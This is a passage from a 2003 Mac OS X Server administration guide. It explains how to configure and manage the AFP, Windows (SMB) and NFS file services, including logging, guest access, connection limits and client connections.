type the number of minutes after which an idle computer should be disconnected. A sleeping Mac OS X version 10.2 (and later) client will be able to resume work on open files within the limits of the “Allow clients to sleep” setting. 5 To prevent particular types of users from being disconnected, select them under “Except.” 6 In the “Disconnect Message” field, type the message you want users to see when they are disconnected. If you don’t type a message, a default message appears stating that the user has been disconnected because the connection has been idle for a period of time. 7 Click Save. From the Command Line You can also change the AFP service idle user settings using the serveradmin command in Terminal or by modifying the AFP preferences file. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 43 Friday, August 22, 2003 2:38 PM 44 Chapter 3 AFP Service Starting AFP Service You start the AFP service to make AFP share points available to your client users. To start Apple file service: 1 Open Server Admin and select AFP in the Computers & Services list. 2 Click Start Service (near the top of the window). The service will run until you stop it and will restart automatically if your server is restarted for any reason. From the Command Line You can also start the AFP service using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. Managing AFP Service This section tells you how to perform day-to-day management tasks for AFP service once you have it up and running. Checking Service Status You can use Server Admin to check the status of AFP service. To view AFP service status: 1 Open Server Admin and select AFP in the Computers & Services list. 2 Click Overview (near the bottom of the window) to see whether the service is running, when it started, its throughput and number of connections, and whether guest access is enabled. 3 Click Logs to review the access and error logs. Use the Show pop-up menu to choose which log to view. 4 Click Connections to see a list of connected users. The list includes the user name, type of connection, user’s IP address or domain name, duration of connection, and the time since the last data transfer (idle time). 5 Click Graphs to see graphs of connected users or throughput. Use the pop-up menu to choose which graph to view. Adjust the time scale using the slider at the bottom of the pane. From the Command Line You can also check the status of the AFP service process using the ps or top commands in Terminal, or look at the log files in /Library/Logs/AppleFileService using the cat or tail command. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 44 Friday, August 22, 2003 2:38 PM Chapter 3 AFP Service 45 Viewing Service Logs You use Server Status to view the error and access logs for AFP service (if you have enabled them). To view logs: 1 Open Server Admin and select AFP in the Computers & Services list. 2 Click Logs and use the Show pop-up menu to choose between the access and error logs. To enable logging, click Settings (near the bottom of the window), then click Logging. From the Command Line You can also view the AFP service logs in /Library/Logs/AppleFileService using the cat or tail commands in Terminal. For more information, see the file services chapter of the command-line administration guide. Stopping Apple File Service Important: When you stop AFP service, connected users may lose unsaved changes in open files. To stop Apple file service after warning users: 1 Open Server Admin and select AFP in the Computers & Services list. 2 Click Connections (near the bottom of the window), then click Stop. 3 Type the length of time the server will wait before stopping service. 4 Type a message in the Additional Message field if you want users to know why they must disconnect. Otherwise, a default message is sent indicating that the server will shut down in the specified number of minutes. 5 Click Send. From the Command Line You can also stop the AFP service immediately using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 45 Friday, August 22, 2003 2:38 PM 46 Chapter 3 AFP Service Enabling NSL and Rendezvous Browsing You can register the service with Network Service Locator (NSL) and Rendezvous to allow users to find the server by browsing through available servers. Otherwise, users must type the server’s host name or IP address when connecting. To register with NSL and Rendezvous: 1 Open Server Admin and select AFP in the Computers & Services list. 2 Click General, select “Enable Rendezvous registration,” and click Save. AFP share points use the Rendezvous registration type afpserver. To take advantage of NSL registration, you must also enable and configure Service Location Protocol (SLP) service on your network router. From the Command Line You can also set the AFP service to register with NSL and Rendezvous using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. Enabling AppleTalk Browsing If you enable browsing with AppleTalk, Mac OS 8 and 9 users can see your servers and other network resources using the Chooser. Important: AppleTalk must be enabled both on the user’s computer and on the server. On the server, you can use the Network pane of System Preferences. To enable browsing via AppleTalk: 1 Open Server Admin and select AFP in the Computers & Services list. 2 Click General and select “Enable browsing with AppleTalk.” 3 Click Save. From the Command Line You can also set the AFP service to enable AppleTalk browsing using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 46 Friday, August 22, 2003 2:38 PM Chapter 3 AFP Service 47 Limiting Connections If your server provides a variety of services, you can prevent a flood of users from affecting the performance of those services by limiting the number of clients and guests who can connect at the same time. To set the maximum number of connections: 1 Open Server Admin and select AFP in the Computers & Services list. 2 Click Settings, then click Access and look under “Maximum Connections.” 3 Click the button next to the number field following “Client Connections (Including Guests)” and type the maximum number of connections you want to allow. 4 Next to “Guest connections,” enable the number field and type the maximum number of guests you want to allow. 5 Click Save. The guest connections limit is based on the client connections limit, and guest connections count against the total connection limit. For example, if you specify maximums of 400 client connections and 50 guest connections, and 50 guests are connected, that leaves 350 connections for registered users. From the Command Line You can also set the AFP service connections limit using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. Keeping an Access Log The access log can record when a user connects or disconnects, opens a file, or creates or deletes a file or folder. To set up access logging: 1 Open Server Admin and select AFP in the Computers & Services list. 2 Click Settings (near the bottom of the window), then click Logging. 3 Select “Enable access log.” 4 Select the events you want to record. Consider your server’s disk size when choosing events to log. The more events you choose, the larger the log file. To view the log, open Server Admin, select AFP, and click Logs. Log files are stored in /Library/Logs/AppleFileService. From the Command Line You can also set the AFP service to record logs using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 47 Friday, August 22, 2003 2:38 PM 48 Chapter 3 AFP Service Archiving AFP Service Logs You can periodically save the active logs and open new logs. To set how often logs are archived: 1 Open Server Admin and select AFP in the Computers & Services list. 2 Click Settings (near the bottom of the window), then click Logging. 3 Select “Archive every __ days” and type the number of days to specify how often the log file contents are saved to an archive. 4 Select “Error Log: Archive every __ days” and type the number of days to specify how often the error log file contents are saved to an archive. 5 Click Save. The server closes the active log at the end of each archive period, renames it to include the current date, then opens a new log file. You can keep the archived logs for your records or delete them to free disk space when they are no longer needed. The default setting is 7 days. Log files are stored in /Library/Logs/AppleFileService. You can use the log rolling scripts supplied with Mac OS X Server to reclaim disk space used by log files. From the Command Line You can also set the AFP service log archival interval using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. Disconnecting a User You use Server Admin to disconnect users from the Apple file server. Important: Users lose information they haven’t saved when they are disconnected. To disconnect a user: 1 Open Server Admin and select AFP in the Computers & Services list. 2 Click Connections. 3 Select the user and click Disconnect. 4 Enter the amount of time before the user is disconnected and type a disconnect message. If you don’t type a message, a default message appears. 5 Click Disconnect. LL2346.Book Page 48 Friday, August 22, 2003 2:38 PM Chapter 3 AFP Service 49 Disconnecting Idle Users Automatically You can set AFP service to automatically disconnect users who have not used the server for a period of time. To set how the server handles idle users: 1 Open Server Admin and select AFP in the Computers & Services list. 2 Click Settings (near the bottom of the window), then click Idle Users. 3 To allow client computers to reconnect after sleeping for a certain time, select “Allow clients to sleep __ hour(s)—will not show as idle” and type the number of hours clients can sleep and still automatically reconnect to the server. Although the server disconnects sleeping clients, the clients’ sessions are maintained for the specified period. When a user resumes work within that time, the client is reconnected with no apparent interruption. 4 To specify the idle time limit, select “Disconnect idle users after __ minutes” and type the number of minutes after which an idle computer should be disconnected. A sleeping Mac OS X version 10.2 (and later) client will be able to resume work on open files within the limits of the “Allow clients to sleep” setting. 5 To prevent particular classes of users from being disconnected, select them under “Except.” 6 In the “Disconnect Message” field, type the message you want users to see when they are disconnected. If you don’t type a message, a default message appears stating that the user has been disconnected because the connection has been idle. 7 Click Save. From the Command Line You can also change the AFP service idle user settings using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. Sending a Message to a User You use Server Status to send messages to clients using AFP service. To send a user a message: 1 Open Server Admin and select AFP in the Computers & Services list. 2 Click Connections and select the user’s name in the list. 3 Click Send Message. 4 Type the message and click Send. LL2346.Book Page 49 Friday, August 22, 2003 2:38 PM 50 Chapter 3 AFP Service Allowing Guest Access Guests are users who can see information on your server without using a name or password to log in. For better security, don’t allow guest access. After enabling guest access for the service, you’ll need to enable guest access for specific share points. See “Allowing Guest Access to a Share Point” on page 33. To enable guest access: 1 Open Server Admin and select AFP in the Computers & Services list. 2 Click Settings (near the bottom of the window), then click Access. 3 Select “Enable Guest access.” 4 Under the “Maximum guest connections” option: Select Unlimited if you don’t want to limit the number of guest users who can be connected to your server at one time. Enter a number if you want to limit how many client connections can be used by guests. 5 Click Save. From the Command Line You can also set the AFP service to allow guest access using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. Creating a Login Greeting The login greeting is a message users see when they log in the server. To create a login greeting: 1 Open Server Admin and select AFP in the Computers & Services list. 2 Click Settings (near the bottom of the window), then click General. 3 Type a message in the Logon Greeting field. 4 To prevent users from seeing the message more than once, select “Do not send same greeting twice to the same user.” If you change the message, users will see the new message the next time they connect to the server. 5 Click Save. From the Command Line You can also change the AFP service greeting using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 50 Friday, August 22, 2003 2:38 PM Chapter 3 AFP Service 51 Supporting AFP Clients This section describes how client computer can access Mac OS X Server AFP share points. Mac OS X Clients AFP service requires the following Mac OS X system software: • TCP/IP connectivity • AppleShare 3.7 or later Go to the Apple support website at www.apple/support/ to find out the latest version of AppleShare client software supported by Mac OS X. Connecting to the AFP Server in Mac OS X You can connect to Apple file servers by entering the DNS name of the server or its IP address in the Connect to Server window. Or, if the server is registered with Rendezvous or Network Service Location, you can browse for it in the Network globe in the Finder. Note: Apple file service doesn’t support AppleTalk connections, so clients need to use TCP/IP to access file services. You can use AppleTalk to find Apple file servers, but the connection must be made using TCP/IP. To connect to the Apple file server from Mac OS X: 1 In the Finder, choose Go > Connect to Server. 2 In the Connect to Server pane, do one of the following: • Browse and select the server in the list (if it appears there). • Type the DNS name of the server in the Address field. You can enter DNS names in any of the following forms: server afp://server afp://server/sharepoint • Type the server’s IP address in the Address field. 3 Click Connect. 4 Type your user name and password, then click Connect. 5 Select the share point you want to use and click OK. LL2346.Book Page 51 Friday, August 22, 2003 2:38 PM 52 Chapter 3 AFP Service Setting Up a Mac OS X Client to Mount a Share Point Automatically As an alternative to using the network mount feature of AFP or NFS, Mac OS X clients can set their computers to mount server volumes automatically. To set a Mac OS X version 10.2.6 or earlier client computer to mount a server volume automatically: 1 Log in to the client computer as the user and mount the volume. 2 Open System Preferences and click Login Items. 3 Click Add, then locate the Recent Servers folder and double-click the volume you want automatically mounted. The volume is added to the list of items in the Recent Servers folder in the user’s home Library folder. When the client user logs in the next time, the server, if available, will be mounted automatically. The client user can also add the server volume to Favorites and then use the item in the Favorites folder in the home Library. To set a Mac OS X version 10.3 client computer to mount a server volume automatically: 1 Log in to the client computer as the user and mount the volume. 2 Open System Preferences and click Accounts. 3 Select the user and click Startup Items. 4 Click the add button (below the list), select the server volume, and click Add. LL2346.Book Page 52 Friday, August 22, 2003 2:38 PM Chapter 3 AFP Service 53 Mac OS 8 and Mac OS 9 Clients Apple file service requires the following Mac OS 8 or 9 system software: • Mac OS 8 (version 8.6) or Mac OS 9 (version 9.2.2) • TCP/IP • AppleShare Client 3.83 or later Go to the Apple support website at www.apple/support/ to find out the latest version of AppleShare client software supported by Mac OS 8 and Mac OS 9. Connecting to the Apple File Server from Mac OS 8 or Mac OS 9 Apple file service does not support AppleTalk connections, so clients need to use TCP/IP to access file services. You can use AppleTalk to find Apple file servers, but the connection must be made using TCP/IP. To connect from Mac OS 8 or Mac OS 9: 1 Open the Chooser and click Server IP Address. 2 Enter the IP address or the name of the server in the window that appears and click Connect. 3 Enter your user name and password, then click Connect. 4 Select the volume you want to use and click OK. Setting up a Mac OS 8 or Mac OS 9 Client to Mount a Share Point Automatically As an alternative to using the network mount feature of AFP or NFS, clients can set their computers to mount server volumes automatically. To set a Mac OS 8 or Mac OS 9 client computer to mount a server volume automatically: 1 Use the Chooser to mount the volume on the client computer. 2 In the select-item dialog that appears after you log in, check the server volume you want to mount automatically. LL2346.Book Page 53 Friday, August 22, 2003 2:38 PM LL2346.Book Page 54 Friday, August 22, 2003 2:38 PM 4 55 4 Windows Service This chapter shows how to set up and manage the Windows file service in Mac OS X Server. General Information Windows services in Mac OS X Server provide four native services to Windows clients: • File service allows Windows clients to connect to the server using Server Message Block (SMB) protocol over TCP/IP • Print service uses SMB to allow Windows clients to print to PostScript printers on the network • Windows Internet Naming Service (WINS) allows clients across multiple subnets to perform name/address resolution • Browsing allows clients to browse for available servers across subnets This chapter shows how to set up the Windows service for file sharing. Windows services use the Windows code page setting to display the correct language for the client. Samba is public-domain software that provides file and print services to Windows clients. For more information about Samba, visit www.samba.org: Windows File Services Specifications • Maximum number of connected users, depending on your license agreement: 1000 • Maximum volume size: 2 terabytes • TCP port number: 139 • UDP port numbers: 37, 138 • Log file location: /Library/Logs in the WindowsFileServices folder LL2346.Book Page 55 Friday, August 22, 2003 2:38 PM 56 Chapter 4 Windows Service Before You Set Up Windows Services If you plan to provide Windows services from Mac OS X Server, read the following sections for issues you should keep in mind. You should also check the Microsoft documentation for your version of Windows to find out more about the capabilities of the client software. Although Mac OS X Server does not require any special software or configuration on Windows client computers, you may want to read “Supporting Windows Clients” on page 66. Ensuring the Best Cross-Platform Experience Mac OS and Windows computers store and maintain files differently. For the best cross- platform experience, you should set up at least one share point to be used only by your Windows users. See “Creating a Share Point and Setting Privileges” on page 22. In addition, you can improve the user experience by following these guidelines: • Use comparable versions of application software on both platforms. • Modify files only with the application they were created in. • If you have Mac OS 8 and Mac OS 9 clients, limit Windows file names to 31 characters. • Don’t use symbols or characters with accents in the names of shared items. Windows User Password Validation Mac OS X Server supports several methods of validating Windows user passwords. Password Server is the recommended method. It supports LDAP as well as NetInfo because the directory does not store the password, just a pointer to the proper Password Server and user ID. The Password Server database is a private root readable file, and the contents are encrypted. Passwords are not accessible over the network for reading—they can only be verified. Authentication Manager is supported for upgrades from Mac OS X Server version10.1. Existing users will continue to use Authentication Manager. (If you export from Mac OS X Server and reimport, you do not get the tim_password set. You must manually set the password for each user after import.) You can enable Authentication Manager from the command line. Use Basic password validation. You should set Authentication Manager passwords on the server hosting the domain you are editing. Note: Authentication Manager is only supported with NetInfo. LL2346.Book Page 56 Friday, August 22, 2003 2:38 PM Chapter 4 Windows Service 57 Setting Up Windows Services You set up Windows services by configuring four groups of settings: • General Specify your computer name and workgroup name, and choose the role of the server in associated Windows domains. • Access Limit the number of clients and control guest access. • Logging Choose how much information is recorded in the service log. • Advanced Configure WINS registration and domain browsing services, choose a code page for clients, and control virtual share points for home directories. Because the default settings work well in most cases, it may be that all you need to do is start the Windows service. Nonetheless, you should take a look at the settings and change anything that isn’t appropriate for your network. Each settings is described in the following sections on configuration. Following the configuration tasks, other topics tell you how to start up Windows services. LL2346.Book Page 57 Friday, August 22, 2003 2:38 PM 58 Chapter 4 Windows Service Changing General Settings You can use the General pane of the Windows service settings in Server Admin to provide a server description, name, and workgroup and specify the server’s role in its domain. To configure Windows service General settings: 1 Open Server Admin and select Windows in the Computers & Services list. 2 Click Settings, then click General. 3 To specify how your server participates in the local domain, choose from the Role pop- up menu. 4 In the Description field, type a description that is meaningful to you or your users. This description appears in the Network Neighborhood window on client computers, and is optional. The Description cannot exceed 48 characters. 5 In the Computer Name field, type the server name you want users to see when they connect. The default name is the NetBIOS name of the Windows file server. The name should contain no more than 15 characters, and no special characters or punctuation. If practical, make the server name match its unqualified DNS host name. For example, if your DNS server has an entry for your server as “server.apple.com,” give your server the name “server.” 6 In the Workgroup field, type the name of the workgroup that you want users to see in the Network Neighborhood window. If you have Windows domains on your subnet, use one of them as the workgroup name to make it easier for clients to communicate across subnets. Otherwise, consult your Windows network administrator for the correct group name. The workgroup name cannot exceed 15 characters. From the Command Line You can also change the Windows service settings by modifying the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 58 Friday, August 22, 2003 2:38 PM Chapter 4 Windows Service 59 Changing Access Settings You can use the Access pane of the Windows service settings in Server Admin to allow guest users or limit the number of simultaneous client connections. To configure Windows service Access settings: 1 Open Server Admin and select Windows in the Computers & Services list. 2 Click Settings (near the bottom of the window), then click Access (near the top). 3 To allow Windows or other SMB users to connect without providing a user name or password, select “Allow Guest access.” 4 To limit the number of users who can be connected to the server at one time, click the button next to “maximum” and type a number in the field. 5 Click Save. From the Command Line You can also change the Windows service settings using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. Changing Logging Settings You can use the Logging pane of the Windows service settings in Server Admin to specify how much information is recorded in the Windows log file. To configure Windows service Logging settings: 1 Open Server Admin and select Windows in the Computers & Services list. 2 Click Settings (near the bottom of the window), then click Logging (near the top). 3 Choose a level of log detail from the pop-up menu: “Low” records errors and warning messages only. “Medium” records error and warning messages, service start and stop times, authentication failures, and browser name registrations. “High” records error and warning messages, service start and stop times, authentication failures browser name registrations, and all file access. 4 Click Save. From the Command Line You can also change the Windows service settings using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 59 Friday, August 22, 2003 2:38 PM 60 Chapter 4 Windows Service Changing Advanced Settings You can use the Advanced pane of the Windows service settings in Server Admin to choose a client code page, set the server to be a workgroup or domain master browser, specify the server’s WINS registration, and enable virtual share points for user homes. To configure Windows services Advanced settings: 1 Open Server Admin and select Windows in the Computers & Services list. 2 Click Settings, then click Advanced. 3 Choose the character set you want clients to use from the Code Page pop-up menu. 4 Next to Services, choose whether to enable domain browsing services. “Workgroup Master Browser” provides browsing and discovery of servers in a single subnet. “Domain Master Browser” provides browsing and discovery of servers across subnets. 5 Next to WINS Registration, choose how you want the server to register with WINS. Choose “Off” to prevent your server from registering itself with any external WINS server or local name resolution server. Choose “Enable WINS server” to have the file server provide local name resolution services. This allows clients across multiple subnets to perform name/address resolution. Choose “Register with WINS server” if your Windows clients and Windows server are not all on the same subnet, and your network has a WINS server. Then enter the IP address or DNS name of the WINS server. 6 To simplify setting up share points for Windows user home directories, select “Enable virtual share points.” When you enable virtual share points, home directories are mounted automatically when Windows users log in to the server, without you having to set up individual share points for each of your users. From the Command Line You can also change the Windows service settings using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 60 Friday, August 22, 2003 2:38 PM Chapter 4 Windows Service 61 Starting Windows Service You can use Server Admin to start Windows service. To start Windows services: 1 Open Server Admin and select Windows in the Computers & Services list. 2 Click Start Service. From the Command Line You can also start Windows service using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. Managing Windows Services This section tells you how to perform day-to-day management tasks for Windows services once you have the services up and running. Stopping Windows Services You can use Server Admin to stop Windows service. Important: When you stop Windows services, connected users will lose any information they haven’t saved. To stop Windows services: 1 Open Server Admin and select Windows in the Computers & Services list. 2 Click Stop Service. From the Command Line You can also stop Windows service using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 61 Friday, August 22, 2003 2:38 PM 62 Chapter 4 Windows Service Changing the Windows Server Name The default server name is the NetBIOS name of the Windows file server. The name should contain no more than 15 characters and no special characters or punctuation. To change the file server name: 1 Open Server Admin and select Windows in the Computers & Services list. 2 Click Settings, then click General. 3 In the Computer Name field, type the server name you want users to see when they connect. The name should contain no more than 15 characters, no special characters, and no punctuation. If practical, make the server name match its unqualified DNS host name. For example, if your DNS server has an entry for your server as “server.apple.com,” give your server the name “server.” 4 Click Save. From the Command Line You can also change the server name using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. Changing the Workgroup Users see the workgroup name in the Network Neighborhood window. If you have Windows domains on your subnet, use one of them as the workgroup name to make it easier for clients to communicate across subnets. Otherwise, consult your Windows network administrator for the correct name. To change the workgroup name: 1 Open Server Admin and select Windows in the Computers & Services list. 2 Click Settings, then click General. 3 Type a name in the Workgroup field. 4 Click Save. From the Command Line You can also change the Windows workgroup name using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 62 Friday, August 22, 2003 2:38 PM Chapter 4 Windows Service 63 Checking Service Status You can use Server Admin to check the status of Windows service. To view Windows services status: 1 Open Server Admin and select Windows in the Computers & Services list. 2 Click Overview to see whether the service is running and how many users are connected. 3 Click Logs to see the Windows file service and name service logs. Use the Show pop-up menu to choose which log to view. 4 Click Connections to see a list of the users currently connected to the Windows services. The list includes the users’ names, IP addresses, and duration of connections. A button at the bottom of the pane lets you disconnect a user. 5 Click Graphs to see graphs of connected users or throughput. Use the slider to adjust the time scale. From the Command Line You can also check Windows service status using the serveradmin command in Terminal or using the cat or tail command to view the log files in /var/log/samba. For more information, see the file services chapter of the command-line administration guide. Registering with a WINS Server Windows Internet Naming Service (WINS) matches server names with IP addresses. You can use your server as the local name resolution server, or you can register with an external WINS server. To register your server with a WINS server: 1 Open Server Admin and select Windows in the Computers & Services list. 2 Click Settings, then click Advanced. 3 Select one of the options under WINS Registration. Choose “Off” to prevent your server from registering itself with any external WINS server or local name resolution server. Choose “Enable WINS server” to have the file server provide local name resolution services. This allows clients across multiple subnets to perform name/address resolution. Choose “Register with WINS server” if your Windows clients and Windows server are not all on the same subnet, and your network has a WINS server. Then enter the IP address or DNS name of the WINS server. 4 Click Save. LL2346.Book Page 63 Friday, August 22, 2003 2:38 PM 64 Chapter 4 Windows Service From the Command Line You can also change WINS settings using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. Enabling Domain Browsing If there are no Microsoft servers on your subnet or network to control domain browsing, you can use these options to restrict domain browsing to a single subnet or allow browsing across your network. To enable domain browsing: 1 Open Server Admin and select Windows in the Computers & Services list. 2 Click Settings, then click Advanced. 3 Next to Services, select Workgroup Master Browser, Domain Master Browser, or both. Select Master Browser to let clients browse for and locate servers in a single subnet. Select Domain Master Browser to let clients browse for and locate servers across your network (subnets). 4 Click Save. From the Command Line You can also change Windows service domain browsing settings using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. Limiting Connections You can limit the potential resources consumed by Windows services by limiting the maximum number of connections. To set the maximum number of connections: 1 Open Server Admin and select Windows in the Computers & Services list. 2 Click Settings, then click Access. 3 Select “maximum” and type the maximum number of connections. 4 Click Save. From the Command Line You can also limit client connections by using the serveradmin command in Terminal to limit the number of SMB processes. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 64 Friday, August 22, 2003 2:38 PM Chapter 4 Windows Service 65 Allowing Guest Access Guests are users who can see information on your server without using a name or password to log in. For better security, do not allow guest access. To enable guest access to the server: 1 Open Server Admin and select Windows in the Computers & Services list. 2 Click Settings, then click Advanced. 3 Under Access, select “Allow Guest access.” 4 Click Save. From the Command Line You can also allow guest access using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. Choosing What to Record in the Log You can choose the level of detail you want to log for Windows services. To specify log contents: 1 Open Server Admin and select Windows in the Computers & Services list. 2 Click Settings, then click Logging (near the top). 3 Choose the level of detail you want to record from the Log Detail pop-up menu. The more detailed the logging, the larger the log file. The table below shows the level of detail you get for each option. 4 Click Save. From the Command Line You can also change Windows service logging settings using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. Events logged Low Medium High Warnings and errors Yes Yes Yes Service startup and stop Yes Yes User login failures Yes Yes Browser name registrations Yes Yes File access events Yes LL2346.Book Page 65 Friday, August 22, 2003 2:38 PM 66 Chapter 4 Windows Service Disconnecting a User You can use Server Admin to disconnect Windows users. Important: Users who are disconnected will lose unsaved work in open files. To disconnect a user: 1 Open Server Admin and select Windows in the Computers & Services list. 2 Click Connections. 3 Select the user and click Disconnect. From the Command Line You can also disconnect a Windows client using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. Supporting Windows Clients Mac OS X Server supports the native Windows file sharing protocol, Server Message Block (SMB). SMB is also known as Common Internet File System (CIFS). Mac OS X Server comes with built-in browsing and name resolution services for your Windows client computers. You can enable Windows Internet Naming Service (WINS) on your server, or you can register with an existing WINS server. Windows services in Mac OS X Server include Windows Master Browser and Domain Master Browser services. You do not need a Windows server or a primary domain controller on your network to allow Windows users to see your server listed in the Network Neighborhood window. Enable the master browsers to allow Windows clients outside of your server’s subnet to access the server by name. You can also set up your Mac OS X server to be a Primary Domain Controller for your Windows clients. TCP/IP In order to have access to Windows services, Windows client computers must be properly configured to connect over TCP/IP. See your Windows networking documentation for information on TCP/IP configuration. LL2346.Book Page 66 Friday, August 22, 2003 2:38 PM Chapter 4 Windows Service 67 Connecting to the Server Using Network Neighborhood Before trying to connect to the server from a Windows client computer, find out the workgroup or domain of both the client computer and the file server. You can find the workgroup name of a Windows client computer in the computer’s Network Neighborhood window. To find the server’s workgroup name, open Server Admin, click Windows in the Computers & Services list, click Settings, then click General. To connect to a Windows server using the Network Neighborhood: 1 On the Windows client computer, open the Network Neighborhood window. If you are in the same workgroup or domain as the server, skip to step 4. 2 Double-click the Entire Network icon. 3 Double-click the icon of the workgroup or domain the server is located in. 4 Double-click the server’s icon. 5 Log in using your Windows login name. Connecting to the Server by Name or Address in Windows You can connect to the Windows server by double-clicking its name in the Network Neighborhood. You can also connect without using the Network Neighborhood. To connect to the Windows server without the Network Neighborhood: 1 On the Windows client computer, choose Start > Find > Computer. 2 Type the name or IP address of your Windows server. 3 Double-click the server to connect. 4 Log in using your Mac OS X Server login name. LL2346.Book Page 67 Friday, August 22, 2003 2:38 PM LL2346.Book Page 68 Friday, August 22, 2003 2:38 PM 5 69 5 NFS Service This chapter shows how to set up and manage the NFS file service in Mac OS X Server. Overview Network File System is the protocol used for file services on UNIX computers. Use NFS to provide file service for your UNIX clients (other than Mac OS X clients). You can export a shared item to a set of client computers or to “World.” Exporting an NFS volume to World means that anyone who can access your server can also access that volume. Note: The NFS term for sharing is export. This guide, therefore, uses that term to be consistent with standard NFS terminology. You use Server Admin to configure and manage NFS service. You also use the Sharing module of Workgroup Manager to set privileges and access levels for the share points or folders you want to export. LL2346.Book Page 69 Friday, August 22, 2003 2:38 PM 70 Chapter 5 NFS Service Before You Set Up NFS Service Be sure to consider the security implications of exporting in NFS before you set up NFS service. Security Considerations NFS was created for a secure networking environment, in which you can trust the client computer users and the people who administer the clients. Whereas access to Apple file service, Windows file sharing, and FTP service share points is controlled by authentication (user name and password), access to NFS shared items is controlled by the client software and file permissions. NFS allows access to information based on the computer’s IP address. This means that a particular client computer will have access to certain share points regardless of who is using the computer. Whenever that computer is started up, some volumes or folders are automatically mounted or made available, and anyone using that computer can access those volumes or folders. With NFS, it’s possible for a user to spoof ownership of another person’s files. For example, if a file on the server is owned by a user with user ID 1234, and you export a folder that contains that file, someone on a remote computer can create a local user on the remote computer, give it a user ID of 1234, mount that folder, and have the same access to the folder’s contents as the file’s original owner. You can take some steps to prevent this by creating unique user IDs and by safeguarding user information. If you have Internet access and plan to export to World, your server should be behind a firewall. LL2346.Book Page 70 Friday, August 22, 2003 2:38 PM Chapter 5 NFS Service 71 Setup Overview Here is an overview of the major steps for setting up NFS service. Step 1: Before You Begin Read “Before You Set Up NFS Service” on page 70 for issues you should keep in mind when you set up NFS service. Step 2: Configure NFS settings The NFS settings let you set the maximum number of daemons and choose how you want to serve clients—via TCP, UDP, or both. See “Configuring NFS Settings” on page 72. Step 3: Create share points and share them using NFS Use the Sharing module of Workgroup Manager to specify the share points you want to export (share) using NFS. You must explicitly configure a share point to use NFS in order for NFS users to be able to access the share point. See “Creating a Share Point and Setting Privileges” on page 22, “Setting Up an NFS Share Point” on page 26, and “Automatically Mounting Share Points for Clients” on page 29. You don’t need to start or stop NFS service; when you export a share point, the service starts automatically. When you delete all exports, the service stops. To see if NFS service is running, open Server Admin, select NFS in the Computers & Services list, and click Overview. LL2346.Book Page 71 Friday, August 22, 2003 2:38 PM 72 Chapter 5 NFS Service Setting Up NFS Service You can use Server Admin to change some NFS service settings. Configuring NFS Settings The NFS settings let you set the maximum number of daemons and choose how you want to serve clients—via TCP, UDP, or both. To configure NFS settings: 1 Open Server Admin and select NFS in the Computers & Services list. 2 Click Settings (near the bottom of the window). 3 Type a number in the “Use__server daemons” field to specify the maximum number of nfsd daemons you want to allow to run at one time. An nfsd daemon is a server process that runs continuously behind the scenes and processes reading and writing requests from clients. The more daemons that are available, the more concurrent clients can be served. Typically, four to six daemons are adequate to handle the level of concurrent requests. 4 Choose how you want to serve data to your client computers. Select both TCP and UDP unless you have a specific performance concern. TCP provides better performance for clients, and UDP puts a smaller load on the server. Transmission Control Protocol (TCP) separates data into packets (small bits of data sent over the network using IP) and uses error correction to make sure information is transmitted properly. User Datagram Protocol (UDP) doesn’t break data into packets, so it uses fewer system resources. It’s more scalable than TCP, and a good choice for a heavily used server. Do not use UDP, however, if remote clients are using the service. 5 Click Save. From the Command Line You can also change the NFS service settings using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 72 Friday, August 22, 2003 2:38 PM Chapter 5 NFS Service 73 Managing NFS Service This section tells you how to perform day-to-day management tasks for NFS service once you have it up and running. Starting and Stopping NFS Service When the server starts up, a startup script checks to see if any NFS exports are defined; if so, NFS starts automatically. If NFS is not running and you add exports, wait a few seconds for the service to launch. To stop NFS service: m Delete all exports. The nsfd daemons continue to run until the server is restarted. From the Command Line You can also stop the NFS service processes using the kill command in Terminal. For more information, see the file services chapter of the command-line administration guide. Viewing NFS Service Status You use Server Status to check the status of all Mac OS X Server devices and services. To view NFS service status: 1 Open Server Admin and select NFS in the Computers & Services list. 2 Click Overview (near the bottom of the window). 3 The Overview pane tells you whether or not the service is running and if mountd, nfsd, and portmap processes are running. The mountd process handles mount requests from client computers (only one mountd process will appear in the status window if you’ve defined any exports). The nfsd process responds to read/write requests from client computers that have mounted folders. The portmap process allows client computers to find nfs daemons (always one process). From the Command Line You can also check the NFS service status using the ps or serveradmin commands in Terminal. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 73 Friday, August 22, 2003 2:38 PM 74 Chapter 5 NFS Service Viewing Current NFS Exports You can use the Terminal application to view a list of the current NFS exports. To view current NFS exports: m In Terminal, type showmount -e. If this command does not return results within a few seconds, there are no exports and the process is blocked (hung). Press Control-C to exit the showmount command and return to an active command line in your Terminal window. LL2346.Book Page 74 Friday, August 22, 2003 2:38 PM 6 75 6 FTP Service This chapter shows how to set up and manage File 